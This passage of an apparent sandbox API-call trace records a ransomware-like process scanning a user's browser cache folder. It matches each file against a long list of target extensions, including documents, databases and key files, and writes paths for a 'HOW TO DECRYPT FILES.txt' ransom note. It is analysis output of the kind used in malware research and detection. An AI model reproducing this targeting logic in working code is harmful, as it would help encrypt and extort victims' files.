HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.ost") returned 0 [0084.597] lstrlenA (lpString="*.ost") returned 5 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.idx") returned 0 [0084.597] lstrlenA (lpString="*.idx") returned 5 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.dbx") returned 0 [0084.597] lstrlenA (lpString="*.dbx") returned 5 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.sql") returned 0 [0084.597] lstrlenA (lpString="*.sql") returned 5 [0084.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mdb") returned 0 [0084.598] lstrlenA (lpString="*.mdb") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.fdb") returned 0 [0084.598] lstrlenA (lpString="*.fdb") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.wab") returned 0 [0084.598] lstrlenA (lpString="*.wab") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.dat") returned 0 [0084.598] lstrlenA (lpString="*.dat") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.txt") returned 0 [0084.598] lstrlenA (lpString="*.txt") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.jpeg") returned 0 [0084.598] lstrlenA (lpString="*.jpeg") returned 6 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.jpg") returned 0 [0084.598] lstrlenA (lpString="*.jpg") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.png") returned 0 [0084.598] lstrlenA (lpString="*.png") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.php") returned 0 [0084.598] lstrlenA (lpString="*.php") returned 5 [0084.598] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.cs") returned 0 [0084.598] lstrlenA (lpString="*.cs") returned 4 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.cpp") returned 0 [0084.599] lstrlenA (lpString="*.cpp") returned 5 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.rar") returned 0 [0084.599] lstrlenA (lpString="*.rar") returned 5 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.zip") returned 0 [0084.599] lstrlenA (lpString="*.zip") returned 5 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.html") returned 0 [0084.599] lstrlenA (lpString="*.html") returned 6 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.htm") returned 0 [0084.599] lstrlenA (lpString="*.htm") returned 5 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.xlsx") returned 0 [0084.599] lstrlenA (lpString="*.xlsx") returned 6 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.xls") returned 0 [0084.599] lstrlenA (lpString="*.xls") returned 5 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mp4") returned 0 [0084.599] lstrlenA (lpString="*.mp4") returned 5 [0084.599] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.ppt") returned 0 [0084.600] lstrlenA (lpString="*.ppt") returned 5 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.pptx") returned 0 [0084.600] lstrlenA (lpString="*.pptx") returned 6 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.doc") returned 0 [0084.600] lstrlenA (lpString="*.doc") returned 5 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.dot") returned 0 [0084.600] lstrlenA (lpString="*.dot") returned 5 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.docx") returned 0 [0084.600] lstrlenA (lpString="*.docx") returned 6 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.7z") returned 0 [0084.600] lstrlenA (lpString="*.7z") returned 4 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.tar") returned 0 [0084.600] lstrlenA (lpString="*.tar") returned 5 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.bz2") returned 0 [0084.600] lstrlenA (lpString="*.bz2") returned 5 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.gz") returned 0 [0084.600] lstrlenA (lpString="*.gz") returned 4 [0084.600] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mkv") returned 0 [0084.601] lstrlenA (lpString="*.mkv") returned 5 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.eml") returned 0 [0084.601] lstrlenA (lpString="*.eml") returned 5 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.msg") returned 0 [0084.601] lstrlenA (lpString="*.msg") returned 5 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.edb") returned 0 [0084.601] lstrlenA (lpString="*.edb") returned 5 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.accdb") returned 0 [0084.601] lstrlenA (lpString="*.accdb") returned 7 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.odb") returned 0 [0084.601] lstrlenA (lpString="*.odb") returned 5 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.java") returned 0 [0084.601] lstrlenA (lpString="*.java") returned 6 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.asm") returned 0 [0084.601] lstrlenA (lpString="*.asm") returned 5 [0084.601] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.pfx") returned 0 [0084.601] lstrlenA (lpString="*.pfx") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.pem") returned 0 [0084.602] lstrlenA (lpString="*.pem") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.p12") returned 0 [0084.602] lstrlenA (lpString="*.p12") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.gpg") returned 0 [0084.602] lstrlenA (lpString="*.gpg") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.vsd") returned 0 [0084.602] lstrlenA (lpString="*.vsd") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.odg") returned 0 [0084.602] lstrlenA (lpString="*.odg") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.raw") returned 0 [0084.602] lstrlenA (lpString="*.raw") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.nef") returned 0 [0084.602] lstrlenA (lpString="*.nef") returned 5 [0084.602] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.svg") returned 0 [0084.603] lstrlenA (lpString="*.svg") returned 5 [0084.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.psd") returned 0 [0084.603] lstrlenA (lpString="*.psd") returned 5 [0084.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.vmx") returned 0 [0084.603] lstrlenA (lpString="*.vmx") returned 5 [0084.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.vmdk") returned 0 [0084.603] lstrlenA (lpString="*.vmdk") returned 6 [0084.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.vdi") returned 0 [0084.603] lstrlenA (lpString="*.vdi") returned 5 [0084.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.lay6") returned 0 [0084.603] lstrlenA (lpString="*.lay6") returned 6 [0084.603] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mpeg") returned 0 [0084.603] lstrlenA (lpString="*.mpeg") returned 6 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.djvu") returned 0 [0084.604] lstrlenA (lpString="*.djvu") returned 6 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.tiff") returned 0 [0084.604] lstrlenA (lpString="*.tiff") returned 6 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.backup") returned 0 [0084.604] lstrlenA (lpString="*.backup") returned 8 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.pdf") returned 0 [0084.604] lstrlenA (lpString="*.pdf") returned 5 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.cert") returned 0 [0084.604] lstrlenA (lpString="*.cert") returned 6 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.docm") returned 0 [0084.604] lstrlenA (lpString="*.docm") returned 6 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.xlsm") returned 0 [0084.604] lstrlenA (lpString="*.xlsm") returned 6 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.dwg") returned 0 [0084.604] lstrlenA (lpString="*.dwg") returned 5 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.nd") returned 0 [0084.604] lstrlenA (lpString="*.nd") returned 4 [0084.604] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.tlg") returned 0 [0084.605] lstrlenA (lpString="*.tlg") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.lgb") returned 0 [0084.605] lstrlenA (lpString="*.lgb") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mov") returned 0 [0084.605] lstrlenA (lpString="*.mov") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.xdw") returned 0 [0084.605] lstrlenA (lpString="*.xdw") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.ods") returned 0 [0084.605] lstrlenA (lpString="*.ods") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.wav") returned 0 [0084.605] lstrlenA (lpString="*.wav") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.mp3") returned 0 [0084.605] lstrlenA (lpString="*.mp3") returned 5 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.aiff") returned 0 [0084.605] lstrlenA (lpString="*.aiff") returned 6 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.flac") returned 0 [0084.605] lstrlenA (lpString="*.flac") returned 6 [0084.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.m4a") returned 0 [0084.605] lstrlenA (lpString="*.m4a") returned 5 [0084.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js", pszSpec="*.csv") returned 0 [0084.606] lstrlenA (lpString="*.csv") returned 5 [0084.606] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60c8f680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60c8f680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x60d01aa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3bf20, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="chrome-installer.min[1].js", cAlternateFileName="CHROME~1.JS")) returned 1 [0084.606] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.606] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="chrome-installer.min[1].js") returned 1 [0084.606] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="chrome-installer.min[1].js") returned 1 [0084.606] lstrcmpiA (lpString1="", lpString2="chrome-installer.min[1].js") returned -1 [0084.606] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chartbeat[1].js") returned="chartbeat[1].js" [0084.606] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.606] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.606] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.606] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.606] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="chrome-installer.min[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js" [0084.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.ems") returned 0 [0084.606] lstrlenA (lpString="*.ems") returned 5 [0084.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.db") returned 0 [0084.607] lstrlenA (lpString="*.db") returned 4 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.dbf") returned 0 [0084.607] lstrlenA (lpString="*.dbf") returned 5 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.myox") returned 0 [0084.607] lstrlenA (lpString="*.myox") returned 6 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.myo") returned 0 [0084.607] lstrlenA (lpString="*.myo") returned 5 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qbw") returned 0 [0084.607] lstrlenA (lpString="*.qbw") returned 5 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qbb") returned 0 [0084.607] lstrlenA (lpString="*.qbb") returned 5 [0084.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome-installer.min[1].js", pszSpec="*.qbm") returned 0 [0084.607] lstrlenA (lpString="*.qbm") returned 5 [0084.607] PathMatchSpecA 